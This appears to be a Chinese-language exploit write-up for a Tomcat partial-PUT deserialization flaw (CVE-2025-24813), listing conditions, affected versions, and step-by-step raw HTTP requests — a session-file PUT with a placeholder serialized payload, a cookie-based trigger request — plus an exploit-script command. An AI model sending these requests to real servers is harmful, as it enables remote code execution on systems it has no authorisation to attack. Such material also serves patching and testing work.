漏洞介绍

1
2
​该漏洞影响启用了Partial PUT和DefaultServlet写入权限的环境,可能导致攻击者绕过路径校验,
访问敏感文件或写入特定文件以执行恶意的反序列化,从而导致代码执行。

漏洞利用条件

1
2
3
4
5
- 应用程序启用了DefaultServlet写入功能,该功能默认关闭
- 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
- 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
- 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件
取决于业务实现是否依赖存在反序列化利用链的库

影响版本

1
2
3
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1、利用 Yakit 生成恶意序列化数据
2、发送数据包(修改houst即可)
PUT /xxxxx/session HTTP/1.1
Host: 192.168.131.32:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

{{反序列化文件内容)}}
3、触发POC(修改host即可)
GET / HTTP/1.1
Host: 192.168.131.32:8080
Cookie: JSESSIONID=.xxxxx

利用脚本进行测试:
python .\Tomcat_CVE-2025-24813_RCE.py -l text.txt -t 5